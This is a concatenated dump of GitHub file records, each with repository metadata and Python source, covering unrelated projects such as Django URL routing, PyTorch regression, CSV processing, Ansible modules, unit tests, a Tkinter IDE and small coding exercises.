null
null
null
UTF-8
Python
false
false
228
py
urls.py
from django.urls import path from . import views urlpatterns = [ path('', views.index, name='index'), path('course_single', views.course_single, name='course_single'), path('contact', views.index, name='contact'), ]
9d0a5cbeaa63cc4bdac8021fedbc94aa26f62504
43acca2e5c1cd2ffacb0a43d431b7d9b325ee9e6
/vectorhub/encoders/audio/pytorch/__init__.py
953d67869cd5a42555477042a947b6b731270097
[ "Apache-2.0" ]
permissive
JDHazard/vectorhub
501fe9e05dca35bd1ae20c8ba010a9299c3b3fe4
265933521cf0a3113a47182a30b0037bf163584b
refs/heads/main
2023-01-05T23:36:29.787728
2020-11-04T13:01:24
2020-11-04T13:01:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
23
py
__init__.py
from .fairseq import *
ce3fcdb122b596ab8f8c259601dc4c1cdaeea4de
4800e2265f46b00b520bb00a26c5e36aac5ee32a
/student_tp2/src/tp2_boston.py
9e3b64a148cb8dc72c18b015f1dce98f90e43754
[]
no_license
wuwenshan/AMAL
d282dfa6ca644a1a6a72adad8447a2755d3381ae
a82d9816170644f6a2f569f9a7f684e1e6e23725
refs/heads/main
2023-02-02T20:18:19.808716
2020-12-26T03:31:40
2020-12-26T03:31:52
305,453,665
1
0
null
null
null
null
UTF-8
Python
false
false
5,543
py
tp2_boston.py
import torch from torch.utils.tensorboard import SummaryWriter from tqdm import tqdm from sklearn.datasets import load_boston from sklearn.model_selection import train_test_split import numpy as np import math import matplotlib.pyplot as plt # import datamaestro TEST_SIZE = 0.2 EPS = 0.01 EPOCHS = 20 BATCH_SIZE = ...
36d20785c3524dfda321b10492e2e3752a91a7a7
d9a4beaff8ab29de34fe68854e7e12f7ed75a173
/tests/test_tls.py
a204b2dd27bba56d366a673c241d43b67ec3b2e9
[ "Apache-2.0" ]
permissive
operatorequals/httpimport
d2a6291bfa90eda9fe8929d792be244b66171110
cc37c031f2e3e87b73c90eb8baf057357fe42d2a
refs/heads/master
2023-08-04T07:10:25.546852
2023-07-25T12:13:59
2023-07-25T12:13:59
101,080,467
280
52
Apache-2.0
2023-07-27T13:09:00
2017-08-22T15:49:00
Python
UTF-8
Python
false
false
1,796
py
test_tls.py
import urllib import httpimport from tests import HttpImportTest, URLS, HTTP_PORT, PROXY_HEADER, PROXY_PORT, HTTPS_PORT, PROXY_TLS_PORT, HTTPS_CERT from tests import servers URL = (URLS['web_dir'] % HTTPS_PORT).replace("http://", "https://") class TestHttp(HttpImportTest): def setUp(self): # Initialize...
eaf58d10b0718053723d75ca75b8b05caaba09ef
64f8d98668869aded7ade3ede2a09df7a49efa7f
/removeHeader.py
f43e82b18556c95cb2e9aa429aa9d7464e208c6f
[]
no_license
Kaneda2k2/ManejoCsvPython
38f62aa8608442a4746ab08ed28ca2c70f3b124d
ddd348e4215d5f94cda76dbf123858a2769c78b6
refs/heads/main
2023-07-18T14:13:17.394351
2021-09-04T19:05:08
2021-09-04T19:05:08
403,135,404
0
0
null
null
null
null
UTF-8
Python
false
false
1,176
py
removeHeader.py
#!python3 #removerCSVHeader - Removes the header from all csv files in the current working directory import csv,os os.makedirs("headerRemover",exist_ok=True) #Crea carpeta y si esta creada no hace nada #Loop throug every file in the current working directory. for csvFilename in os.listdir("."): # ...
dd528b73e2e0bc3c1f1435ff0df955db1333435d
510fb3fd9c2a5be7646947f669235df60078ff31
/old/gazprom/build/lib/open_weather_forecast/get_info.py
a9f28e13d04f83c31bda67f2172e76f91aa2f999
[ "MIT" ]
permissive
enanablancaynumeros/interview_exercises
68ac57ecb9a906c05d8bccd2cb30f35e6e891223
5128433c2c56d8470eb9c94268967294592df831
refs/heads/master
2022-09-17T05:17:09.679226
2019-02-18T23:27:37
2019-02-18T23:27:37
133,725,256
0
0
null
null
null
null
UTF-8
Python
false
false
2,549
py
get_info.py
import requests from requests import RequestException from open_weather_forecast.info_extractor.http_decorator import auto_tries from open_weather_forecast.info_extractor.get_info_abstract import GetInfoAbstract class GetInfo(GetInfoAbstract): def filter_information(self, info_retrieved, schema, result=None): ...
98847a06c8bd1bfa8b37764cc1ee5064a62a3363
bb2d9fe234e7517b4cb16c3bf62b24ccbda035d6
/parte2.py
8b44ea0b4caf86db6bdd9674104eaee5dec635ec
[]
no_license
leiva7/trabajosPracticosPractica
9b6f5bde9b59c31855bb3ec608a5d09627675921
b31c1e9d819acf4e429d2e94c62d25049cf4be39
refs/heads/master
2020-05-24T05:00:07.239628
2019-08-16T23:42:00
2019-08-16T23:42:00
187,104,489
0
0
null
null
null
null
UTF-8
Python
false
false
567
py
parte2.py
import numpy as np import csv with open("ecuacion.csv","r") as csvfile: recolector = csv.reader(csvfile, delimiter=",", quotechar='"') i = 0 for linea in recolector: if i == 0: coef0 = int(linea[0]) coef1 = int(linea[1]) coef2 = int(linea[2]) coef3 = i...
f39838ca34baece407d04d741c20853f917278a6
b5c753812d837022e1be30883ca1c93dea8526c6
/Intro/boxBlur.py
507253fceb6c81f9c8bcdee37615fca81bd5bcbd
[]
no_license
khygu0919/codefight
f9ccaa4d7bbd7ceabd2f35a693c60e6b0ba32ed6
b7e16df18c18d51f21875a9d1bae748f67871e4c
refs/heads/master
2020-03-09T05:10:20.356341
2018-05-31T11:51:23
2018-05-31T11:51:23
128,606,035
0
0
null
null
null
null
UTF-8
Python
false
false
910
py
boxBlur.py
''' Last night you partied a little too hard. Now there's a black and white photo of you that's about to go viral! You can't let this ruin your reputation, so you want to apply the box blur algorithm to the photo to hide its content. The pixels in the input image are represented as integers. The algorithm distorts the...
b333d3eda7c910daaa45a6086bd773ee90d919ec
39fc8edd0b6f21aec54cfba979c2e5ea5b61f443
/pipeline/share/ansible/monitoring/monit
79ef5aa752c03ba28556905d1a9c59d71741cbc5
[]
no_license
sherlockholmes/openedx-playubooks
8e489ba3848a404cf95bc7de650c87c23d4e3f3e
37fbaa5d7e1c8e75fe353a3a916af852974385c8
refs/heads/master
2022-12-23T22:36:46.677053
2017-09-24T06:42:24
2017-09-24T06:42:24
104,624,398
0
2
null
2022-12-11T20:01:31
2017-09-24T06:40:26
Python
UTF-8
Python
false
false
5,523
monit
#!/usr/bin/python # -*- coding: utf-8 -*- # (c) 2013, Darryl Stoflet <stoflet@gmail.com> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the Li...
7e658da1f0bf8687c229714819f6b8f6fca6b033
2206b222d6dbdd454745942062e47a8904e32947
/innout/main.py
b9d881f2bd6da96e64afa84a9d4a162e1eadba0d
[]
no_license
p-lambda/in-n-out
0157edf4cef248aab992e109cf6384e5f61e5c4f
1f1ea0ea4355275ac0566299fe7059ba336a6f02
refs/heads/main
2023-08-31T04:17:57.678151
2021-10-23T21:27:52
2021-10-23T21:27:52
302,480,332
14
0
null
null
null
null
UTF-8
Python
false
false
20,671
py
main.py
import argparse import logging from pathlib import Path import itertools from collections import defaultdict import yaml import json import torch from torch import nn import torch.backends.cudnn as cudnn import numpy as np import pandas as pd import wandb from sklearn.metrics import roc_auc_score, average_precision_sc...
abef28761a5ceda67996d2046fd89272a07f4d42
453061c79d8920f4675571de8c9fe073366baaab
/SerialConnect/Python3/BatterySerialIO.py
70ae675d70fd6d6cd22e5a0951e0df14c0c547d0
[]
no_license
KentuckySolarCar/RaspberryPi_03
b048e6c39d8e071ad62e18837f0dc821856174db
f7269e37b359c178f0c4a926ad5857e67aed15f0
refs/heads/master
2016-09-06T10:42:59.477414
2014-10-04T21:26:17
2014-10-04T21:26:17
null
0
0
null
null
null
null
UTF-8
Python
false
false
238
py
BatterySerialIO.py
from ThreadedSerialIO import ThreadedSerialIO class SerialIdentifier(ThreadedSerialIO): def __init__(self, t_port, t_rate, t_fps_delay): super(self, t_port, t_rate, t_fps_delay) def determineType(text): def interpretData():
5778db62ff4d089d15ba1e01e9a0288f5d6360e1
cea7c9690d1d94e8759c5e7dacca1f5ba7ca4fdb
/Http/message.py
ad5af3f1b002c3272b3691787943398e8c8a6a60
[]
no_license
huagui/training
68bd706e309c1b3f5a86e335934ad937071c22df
1ec59d5f1016f12d1ebb2f793bd6ddc8d33a1136
refs/heads/master
2021-01-19T05:03:29.700384
2016-07-18T08:31:14
2016-07-18T08:31:14
63,583,931
0
0
null
null
null
null
UTF-8
Python
false
false
2,427
py
message.py
#-*-coding:utf-8-*- import web import traceback, json import MySQL.tableStudent as Student import MySQL.tableTrainer as Trainer import MySQL.tableRelation as Relation # import MySQL.tableHistory as History # import MySQL.tableTask as Task # import MySQL.tableClass as tableClass # import MySQL.tableNotification as Noti...
066b5a632ebdfc1dd66a4462f605b8d1ad03fcab
daf9ec8d7ae6d2bf514c5fb759af21d0b18250f4
/tests/test_cdl.py
3801f4a2e53d89c8d266f7772e29f9058bb0a0b5
[ "MIT", "LicenseRef-scancode-warranty-disclaimer" ]
permissive
maxnbk/cdl_convert
191c98fac350623f6ba9697654fc417728464738
857313041448061fc6b92e602169423e90cf590a
refs/heads/master
2021-01-18T00:15:22.903859
2015-02-17T05:56:43
2015-02-17T05:56:43
44,343,303
1
1
null
2015-10-15T20:22:16
2015-10-15T20:22:15
null
UTF-8
Python
false
false
43,341
py
test_cdl.py
#!/usr/bin/env python """ Tests the cdl related functions of cdl_convert REQUIREMENTS: mock """ #============================================================================== # IMPORTS #============================================================================== # Standard Imports try: from unittest import m...
0140cd77cc0bdddea2eaa863e5f03ee718e6239d
8b97df530761a7864b28177cbee71a49bd733739
/Python/swappedArgs_extractor.py
704d2b0dcc04be4c3ff0918aa708db2dfb81f219
[ "Apache-2.0" ]
permissive
nashid/DeepBugs-for-Python
6943a80658bf271f39ea4508dc2127f4812ccc43
11802ff402916f19f6629647c598798c88b0f9f2
refs/heads/master
2023-01-11T11:20:51.150508
2020-11-15T08:27:14
2020-11-15T08:27:14
null
0
0
null
null
null
null
UTF-8
Python
false
false
15,471
py
swappedArgs_extractor.py
import sys import os, os.path from io import open import glob, time from lark import Lark from lark.indenter import Indenter from lark import tree import json import tokenize from tokenize import tok_name import keyword functionDefDict = {} allCalls = [] # __path__ = os.path.dirname(__file__) class PythonIndenter(Ind...
9fd5993354250e61a7d06636985d5fc65af2463c
342fcbd0c03331596c7e8c88c87dd332be98bb38
/Sqrt_x.py
8056302dd33a4f4cc225cbd943cf8191456d002d
[]
no_license
dantangfan/leetcode
02e0ab609b9e8d672e266bd50ec72b47a60f3aa9
b62c00b38456abed017581619981362cdbb52415
refs/heads/master
2021-01-10T12:45:42.917172
2017-04-21T15:31:37
2017-04-21T15:31:37
54,048,254
1
0
null
null
null
null
UTF-8
Python
false
false
308
py
Sqrt_x.py
# coding:utf-8 # 牛顿迭代法求平方根 class Solution(object): def mySqrt(self, x): """ :type x: int :rtype: int """ res = x / 2.0 while abs(res*res-x) > 0.1: res = (res + x/res) / 2.0 return int(res) print Solution().mySqrt(1)
a48847644510ec0eef779049ce41efab5fc58ad6
884b38f8dfb13936f42c9e801ccc089637690a73
/poker/betting/betting_test.py
18b87b01270dca5866075e5e7588e3059a043776
[ "MIT" ]
permissive
jrj92280/python-kata
22610f0f636ed2c4ba8572bec43b51b76c837e0e
6207af1d7898df21dc9d35dde906fb3486375a2e
refs/heads/master
2020-03-15T12:22:35.672049
2019-06-13T21:16:11
2019-06-13T21:16:11
132,142,441
3
0
null
null
null
null
UTF-8
Python
false
false
68
py
betting_test.py
def test_chip_count(): chip_count = print return chip_count
4e8265d4ec7009bcbfb03aa260d797c28b3e4a29
4d1f86e4ed998eb6a692db3d77b5fe069510c3d3
/parse.py
43572af4a69ac239f8185a1bdfe7927f034dc2b3
[]
no_license
Meteotortona/Installazione-e-configurazione-del-software-Weewx-su-Raspberry-PI
3f824a91df48bb70e9554f50ef7590fee9c341d3
1fa7c57d8d440aa97f3cb1c09269e995777608fa
refs/heads/master
2020-11-23T20:45:00.827100
2020-01-07T18:32:30
2020-01-07T18:32:30
227,814,127
0
0
null
null
null
null
UTF-8
Python
false
false
2,255
py
parse.py
#!/usr/bin/python import sys file_in = open(sys.argv[1],"r") file_out = open(sys.argv[2],"w") line_in = file_in.readline() line_in_split = line_in.split(" ") file_out.write("Nome stazione\n") file_out.write(line_in_split[1].strip() + "\n") file_out.write(line_in_split[0].strip() + "\n") file_out.write("------SEZION...
80f18a84553c9a03bfd2d3deb1cb377f3853ff79
9ba6158169aafd71c9a1bc75cecf65595ed14c98
/tests/test_table_int64.py
b3bc1d323bbd5afa3baf19c676728b7ac57335d5
[ "BSD-3-Clause" ]
permissive
bureau14/qdb-api-python
f49d0ca77fcf64d6a8a9754c4573d2055e281d0e
96232546846e6229df3ba433890e341bb9894fc0
refs/heads/master
2023-09-01T11:53:39.718898
2023-08-10T04:01:23
2023-08-10T04:01:23
33,124,213
10
1
BSD-3-Clause
2023-05-09T10:52:19
2015-03-30T13:20:03
C++
UTF-8
Python
false
false
3,976
py
test_table_int64.py
# pylint: disable=C0103,C0111,C0302,W0212 import datetime import pytest import numpy as np import quasardb import test_table as tslib def test_int64_get_ranges__when_timeseries_is_empty(table, intervals): results = table.int64_get_ranges(tslib._int64_col_name(table), intervals) assert len(results) == 2 as...
3cac60c5737d9e23712629fc6e70bc6dc870eb6f
b7432674e250895a1bc0ba6c222ced3cf249a011
/addition.py
1529605dac005e3b450dc2c4625160f429019950
[]
no_license
sharinrajappa99/artistic_sharin
0a48359e13a0d0035f99e05bf9facb51a255dec1
1ba86ed3f18abeb2933d6a7f1f8de6d15819591f
refs/heads/master
2020-03-28T00:54:26.111555
2018-12-03T06:09:23
2018-12-03T06:09:23
147,459,616
0
0
null
null
null
null
UTF-8
Python
false
false
135
py
addition.py
# reading values from keyboard and perform addition a = int(input("enter a value")) b =int(input("enter b value")) sum = a+b print(sum)
c9a101c3d342d9349f4a90a6b44afbcc78833a92
5042bcf1f4e5c09c1fa97e1d457c77f45dc2b964
/Missions_to_Mars/route.py
89cfe290b83eec38e930b0fed3cf169a0972a12c
[]
no_license
meppps/web-scraping-challenge
fed69e103c30c2d8c282533f57ab25894fc041d4
703403113225486b9172f9ab345bf2e0020dda8f
refs/heads/master
2021-01-06T08:11:34.816909
2020-02-26T07:38:06
2020-02-26T07:38:06
241,256,861
1
0
null
null
null
null
UTF-8
Python
false
false
904
py
route.py
from flask import Flask, render_template, redirect # from scrape_mars import scrape import scrape_mars # from scrape_mars import spaceData # import pymongo from flask_pymongo import PyMongo app = Flask(__name__) # conn = 'mongodb://localhost:20717' # client = pymongo.MongoClient(conn) # TO DO -- Create DB, connect #...
fd4ad4e81f3158d37339b84cb6a17c34f4fb794c
dd6e870a400353c123529999555517c84c864474
/migrations/versions/100f50116262_.py
d1ec38aca1832636ecb3cd67e13c06ee44632e41
[]
no_license
fenriz07/flask-hippooks
7bfea8e397603d74426725c31cf135758cc5e0d2
a7e88fce2d588bca49d63a9800c8344f117a4469
refs/heads/master
2020-04-30T20:09:08.550402
2019-03-22T03:02:30
2019-03-22T03:02:30
177,058,010
2
0
null
null
null
null
UTF-8
Python
false
false
655
py
100f50116262_.py
"""empty message Revision ID: 100f50116262 Revises: 103f9da5a229 Create Date: 2015-09-16 21:46:11.772381 """ # revision identifiers, used by Alembic. revision = '100f50116262' down_revision = '103f9da5a229' from alembic import op import sqlalchemy as sa from sqlalchemy.dialects import mysql def upgrade(): op.a...
67b021a9e74effec1f2ff307d10ca8c596340e32
fda89b41cc37d98c64cd205c2393f260d5b1099d
/Quiz/Quiz_biorhythm.py
a0da5a43ec8b29b8fd7dcc3a7507ccaaba9113ae
[]
no_license
rod41732/com-prog-archive
cd7d00a78bb4212cdd942e6d4da622d38ddcfcbf
f833680294be71c0bbfc3bfa0f402706728c4cef
refs/heads/master
2020-03-27T16:15:03.359666
2018-08-30T15:26:30
2018-08-30T15:26:30
146,769,205
1
0
null
null
null
null
UTF-8
Python
false
false
688
py
Quiz_biorhythm.py
from math import pi, sin bd, bm, by, d, m, y = [int(x) for x in input().strip().split()] by -= 543 y -= 543 ans = 0 dim1 = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] diy1 = 365 dim2 = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] #x1 = x2 = 0 if (by%4 == 0 and by%100 != 0) or by%400 == 0: dim1[2] += 1...
c958319cb484022a6fd1ae52ca16051312761f94
d820c8efb25c9adb77015650a0f7dc6f1e983bfe
/abc/abc199_d.py
42366e77dc51d955e9f0d519929798247fd79ef4
[]
no_license
toshikish/atcoder
73fdaa2310f23f846279f9f7466bdb969448371f
33676630d6820dd92ccf0931425b8906b065bedd
refs/heads/master
2022-05-16T20:00:52.665762
2022-04-02T11:55:44
2022-04-02T11:55:44
173,099,510
0
0
null
null
null
null
UTF-8
Python
false
false
1,006
py
abc199_d.py
from collections import defaultdict, deque N, M = map(int, input().split()) neighbors = defaultdict(list) for _ in range(M): A, B = map(lambda s: int(s) - 1, input().split()) neighbors[A].append(B) neighbors[B].append(A) ans = 1 visited = [False] * N for i in range(N): if visited[i]: continue ...
a93c4d12b97017600a1b13f4d15ec520d3641b9e
de3b8a353b6967d79852d23f29761aa1672aa512
/Quode.py
a03f5983f38f8c1d318a34888b5d837b72a204dc
[]
no_license
yashkhasbage25/Quode-IDE
92cedd5333eef648a99606ffb2c77e91507b19f8
c9eaccf42fb36823da69711dfabc1421b385ab7d
refs/heads/master
2021-04-12T11:12:02.329600
2018-07-17T02:04:31
2018-07-17T02:04:31
126,872,781
4
0
null
null
null
null
UTF-8
Python
false
false
48,251
py
Quode.py
from tkinter import Tk from tkinter import Menu from tkinter import PhotoImage from tkinter import messagebox from tkinter import _tkinter from tkinter import Image from tkinter import Frame from tkinter import Label from tkinter.scrolledtext import ScrolledText from tkinter.ttk import Notebook from tkinter import file...
53fe43e284f97bb85e5499bbe59ca5fbe9c1072d
6dc5326b1f61fdb7f2468a9c92e4d1fce6fb164a
/SnakesAndLadders1/snakes_and_ladders_1.py
dbd7db59c6a10979744350e99f8433737d3b1cbb
[]
no_license
TheDataLabScotland/Data_Team_Blog_Posts
1494cfa06edf6e68626fe11dfa8fa6d142fed904
e0b2d783d852cc1c62a42f58aee9ddb946a8d42a
refs/heads/master
2022-05-27T18:41:55.699364
2022-04-15T12:08:47
2022-04-15T12:08:47
105,173,871
9
12
null
2022-04-15T12:08:48
2017-09-28T16:42:20
R
UTF-8
Python
false
false
601
py
snakes_and_ladders_1.py
import numpy as np import sys def snakes_and_ladders(x): dict_sal = {21:3, 24:7, 35:9, 50:11, 53:15, 60:23, 75:44, 89:48, 93:25, 97:65, 99:58, 4:16, 12:33, 18:22, 26:37, 42:61, 49:51, 55:74, 82:98, 85:95, 88:92} return dict_sal.get(x, x) def roll_die(x): ...
728c8bb99763ce177024ea4ca50fcec767493530
6ce23e075f41e7d20a75e1373398a91c9e1c8c7d
/Main.py
7cfc7ef9deaeaf15f661df3ded89fea086b77d49
[]
no_license
Dineshsgit/coding_challenge
e83a8e884ce44ca646c501e14864e8da99a2c7b4
fce30e819b581dd96ce9de115cd59000b60848a3
refs/heads/master
2020-08-05T19:06:04.305246
2019-10-03T21:27:26
2019-10-03T21:27:26
212,669,344
0
0
null
null
null
null
UTF-8
Python
false
false
5,147
py
Main.py
import os import json from pyspark.sql import SparkSession from pyspark.sql.functions import split,trim def main(): # Initialize the config and read parameter file ('/parameters/config.json') config = CONFIG # Create Sprak Session spark = SparkSession.builder.appName('coding_challenge').getOrCreate()...
aebbbd16742396b9f6563944b5eceb5ce555523d
5a648d5c62e640a8df8d18549eaf6e84a36dbd28
/consumerproducer.py
3ae7c3ea7392953e1bcc10410bfcacf9b9d40f49
[ "MIT" ]
permissive
quake0day/oj
f5f8576f765a76f0f3a8b2c559db06279e93ef25
c09333d1738f8735de0d5d825db6f4b707585670
refs/heads/master
2021-01-21T04:27:34.035319
2016-03-30T02:19:15
2016-03-30T02:19:15
30,592,861
0
0
null
null
null
null
UTF-8
Python
false
false
855
py
consumerproducer.py
from collections import deque def overtakes(p1, p2): return 0.5*float(p2[1]**2 - p1[1]**2 + p2[0]**2 - p1[0]**2)/(p2[0] - p1[0]) # assumes consumers is a list of ints and producers a list of int tuples of the form (x,y) # also assumes the points are ordered by x-axis value and that there aren't two points with t...
163a35df5d76cd21d17442d74198822c1352f3fa
491b7696660f1f39f9cbcfcf6e4d1cfec9066630
/test/clueseval/clues/storage/test_memory.py
d6ec32d0611621ddc5abf26621f20bce97dd8786
[ "Apache-2.0" ]
permissive
jgera/Semantic-WoT-Environment-Simulation
16cb940f3decefae352f048e78e5faca1c2fd94c
a91af1a65036b62a42ce1ae74b652ee2a5a7e651
refs/heads/master
2020-12-31T02:32:12.780345
2013-12-13T16:18:04
2013-12-13T16:18:04
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,859
py
test_memory.py
# -*- coding: utf-8 -*- ''' Copyright (C) 2012 onwards University of Deusto All rights reserved. This software is licensed as described in the file COPYING, which you should have received as part of this distribution. This software consists of contributions made by many individuals, listed below: @auth...
79e5ad3d98a29348f4c5a199287fe6c1e63ab76b
b75c3da63a9f6c6fbc37c6ccfa12578d93935624
/leetcode/929. Unique Email Addresses/solution.py
cc37f2d69aa5538739c90f68e6e903ff29673e2a
[]
no_license
bryand1/solutions
ce5b09b14b73bd6da214eac159af7d4439cdd6dd
319741d720e1f0bb1b94629df410de392cbc755c
refs/heads/master
2021-07-09T08:39:45.301754
2019-03-01T16:31:36
2019-03-01T16:31:36
144,401,675
0
0
null
null
null
null
UTF-8
Python
false
false
302
py
solution.py
class Solution: def numUniqueEmails(self, emails: List[str]) -> int: s = set() for email in emails: name, domain = email.split('@') name = name[:name.find('+')] name = name.replace('.', '') s.add((name, domain)) return len(s)
6b5beaca2e3089a72ba258f7d61b0655498b3b97
6345a722b17bdada87fd725bbfa535922ea1ca83
/exceptions.py
7b989fda414974bca50265d4e5ab64427f51aaae
[]
no_license
hurtlethefrog/python
0f1512eaf60ade3b17b61e6cd2b939847cad98cf
3d5fa00704b4d2fe01262db9325d3f362eca9e21
refs/heads/master
2020-07-27T02:58:09.813308
2020-01-08T21:45:06
2020-01-08T21:45:06
208,845,534
0
0
null
null
null
null
UTF-8
Python
false
false
108
py
exceptions.py
try: number = input('type a number:') print(number / 2) except TypeError: print('I said number')
623144f857189e100bb5bb18fcfbc413366405b3
252b951e793f0b8168d8ae0f9ee274109339040f
/Avaliações/Avaliação Prática/Colaborador.py
a571b6ec96090bb361d15e92d1b048c7ff6c6ef7
[ "Apache-2.0" ]
permissive
maria-gabriely/Maria-Gabriely-POO-IFCE-INFO-P7
6012ca516608703c636b9ac48450358b118951d4
0166f1c0140ba3e71307bb156d4c57daf21620d1
refs/heads/main
2023-06-17T18:31:28.911363
2021-07-16T02:49:05
2021-07-16T02:49:05
349,180,735
0
0
null
null
null
null
UTF-8
Python
false
false
2,620
py
Colaborador.py
from MovimentoFolha import MovimentoFolha class Colaborador(): def __init__(self, codigo, nome, endereço, telefone, bairro, cep, cpf, salarioAtual): int(codigo) float(salarioAtual) self._codigo = codigo self._nome = nome self._endereço = endereço ...
6abadb245192d78083d8c9883022efa56a293241
87017ff7552a85cab92965f27e4f2679176f00d6
/BipedalWalker/model.py
02cf12f39afcba8e8882ed157daea8dc5fe1a32c
[]
no_license
sachinumrao/reinforcementML
5e95f8d27bc59cdbcc795959f32cd625ebdb43dd
66f7b46c124fbf0a5678f8c6970cb1234e0c9fae
refs/heads/master
2022-09-05T01:54:19.203009
2022-08-22T04:15:38
2022-08-22T04:15:38
142,654,880
0
2
null
null
null
null
UTF-8
Python
false
false
1,480
py
model.py
import tensorflow as tf from tensorflow.keras.layers import Dense, Flatten, Input, Lambda from tensorflow.keras.models import Sequential from tensorflow.keras.optimizers import Adam import config def get_policy_model(input_size, output_size): model = Sequential() model.add(Input(shape = (config.FEED_MEM, inp...
467b123595d2deac429b2f6e5b0faa273bab16f6
b45b4fa25ba259be676f4f184fe011c631c76dda
/cameraPrevizBake.py
3449d738da3295d5989fc70afd24be5028d53d3e
[]
no_license
scomly/myStuff
ec9bf46b6621e8fe07c9ddb2bc22bfabe780595a
4c51f3a0c3cb68cd8395201ff7a503aab6fe23fd
refs/heads/master
2021-06-01T11:34:11.573509
2020-12-18T19:14:19
2020-12-18T19:14:19
39,282,722
0
1
null
null
null
null
UTF-8
Python
false
false
5,446
py
cameraPrevizBake.py
import maya.cmds as cmds import os cmds.file(new=True, f=True) currentShow = 'lovecraft_champions' currentSeq = 'lcr' currentShot = 'lcr530' pathShot = currentShot.upper() getCamPath = "/next/previs/xjobs/shows/prv_lovecraft/scenes/VFX_SHOTS/%s/cam/" % (pathShot) getMetaPath = '/next/previs/xjobs/shows/prv_lovecraf...
4c98389f90fa7bbaf7a7e461095cafc682ff6ed2
1e5a3e50b9e2ba11ce53c6839ed728d77bc8f822
/lib/player_command/player_command_sender.py
ec8e44f65c8e322729410b32ce3a0397b77b76ca
[]
no_license
wuxie6424/Pyrus-SS2D-Base
05496874dc55a0fe44b0cabefc491d6197d1b8bd
a7179bc2f72a82548dced1dfaa1709f749d94419
refs/heads/master
2022-01-15T02:16:33.886320
2019-07-30T03:46:21
2019-07-30T03:46:21
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,234
py
player_command_sender.py
from lib.player_command.player_command import PlayerCommand from lib.player_command.player_command_body import PlayerBodyCommand from lib.player_command.player_command_support import PlayerSupportCommand class PlayerSendCommands(PlayerCommand): @staticmethod def all_to_str(commands): commands_msg = ""...
6f5761b977c09ea48a417007e5647bf313c72e62
a41f5c343f693aa015dc5de0054471cf01e74fd5
/scriptPython/dimReduction.py
98290e6a5cc6ed1faeb3c93184f7fb268b69eec6
[]
no_license
jsaray/jsaray
bd3483573aecc520b893bcca1000fdcd4e0b841b
95394986318f13cdb17180f65393a58bedbc2ed8
refs/heads/master
2021-01-12T03:19:31.338486
2017-05-24T12:15:06
2017-05-24T12:15:06
78,194,608
0
0
null
null
null
null
UTF-8
Python
false
false
700
py
dimReduction.py
#!/usr/bin/env python2 # -*- coding: utf-8 -*- """ Created on Wed Apr 19 16:22:53 2017 @author: jsaray """ from dataFrameCreation import dataFrameCreation from sklearn.decomposition import PCA import pandas as pd def fusion(rna,mirna,meth): rna = pd.DataFrame.transpose(rna) mirna = pd.DataFrame.transpo...
c93f3fe45340d3a50dde13aa23605f1406cdad97
f86c7b825b385928bae28c5aafef6249f51aaefd
/crm/res_partner.py
9cf2dc2088fd881b065c812d0c7d234b5e163b23
[]
no_license
rvalyi/openerp-addons
a2f27c03e28f2168f17b8e7e08a4735f637ad77b
e6b06ea17fa44e35e3c99a83c6f3ec433c33c894
refs/heads/master
2021-01-18T02:35:44.524267
2013-08-26T13:51:35
2013-08-26T13:51:35
12,525,742
2
1
null
null
null
null
UTF-8
Python
false
false
4,372
py
res_partner.py
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU...
da9a4f4232d145792f0bf99d009a15f6528e2d9d
dd84b4d63ac68fd17b88ee9f221a6ec4921af05d
/solutions/0027.remove-element/remove-element.py
9b010e0ce948afde6a88737c1aa885cad2939da3
[ "MIT" ]
permissive
cocobear/LeetCode_in_Python
bf56b5f003c469d64f76643564a2eeca421833da
b4ecd5cb7122467ee479f38497faaabb17e6025e
refs/heads/master
2021-07-17T05:44:26.129992
2021-01-28T12:21:49
2021-01-28T12:21:49
232,519,839
0
0
null
null
null
null
UTF-8
Python
false
false
857
py
remove-element.py
# # @lc app=leetcode id=27 lang=python3 # # [27] Remove Element # from __future__ import annotations # @lc code=start class Solution: def removeElement(self, nums: List[int], val: int) -> int: n = len(nums) cur = 0 far = 1 while cur < n: far = cur + 1 # prin...
12681dfcc4a8c323052e9aab72c13fbe7963d576
80af5026696e39d5d841abc263721171d0705804
/imager/imager_profile/tests.py
ae8d642b419bf82504ab62dad0e6340e56ca0c49
[ "MIT" ]
permissive
bgarnaat/django-imager-1
a0bad7136343f435068485917bbbf723ff7a2371
c74edca7faa52155f67a397c2ac3591046751b14
refs/heads/master
2021-01-15T18:09:31.294262
2016-04-29T23:31:25
2016-04-29T23:31:25
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,441
py
tests.py
from django.test import TestCase, Client from imager_profile.models import ImagerProfile from django.contrib.auth.models import User import factory class UserFactory(factory.django.DjangoModelFactory): """Set up User Factory.""" class Meta: model = User username = factory.Faker('user_name') e...
a255c6fa6ca5cb1c7d8f3858c02e80011e252e76
50072b7cfb5c7f302596c7e03dee1562e89f0c88
/dfpServices/__init__.py
ec18ff93f6d94a0a10187d268d928e3255aeac90
[]
no_license
gjoshi1/dfp-missingLineItem-reporting-service
e89f3ba14837b8e7c439ce8f10791f4695b61518
2ebf88f2cfe48dbe949b4d49a56bde96d09d886b
refs/heads/master
2020-03-19T08:36:44.764002
2018-06-05T18:50:45
2018-06-05T18:50:45
136,219,933
0
0
null
null
null
null
UTF-8
Python
false
false
25
py
__init__.py
__author__ = 'vanwazerw'
5b5457cb8977147b4f5894ac3855dba3de2010ad
65972075fda6582ba0aadb588964ade1bb199a9b
/lec09/gravity 2/gui.py
3b7966956fce8ae35525941545fde7d5c054931e
[]
no_license
bigbrainacademy/python4kids
acb937faa11cbd13732f071e8bdc0bc3a4d925ba
343e5e0c9ee89a83d51c3e258468498db480e214
refs/heads/master
2022-11-23T19:36:05.562105
2020-07-31T01:33:34
2020-07-31T01:33:34
274,481,342
0
1
null
null
null
null
UTF-8
Python
false
false
5,654
py
gui.py
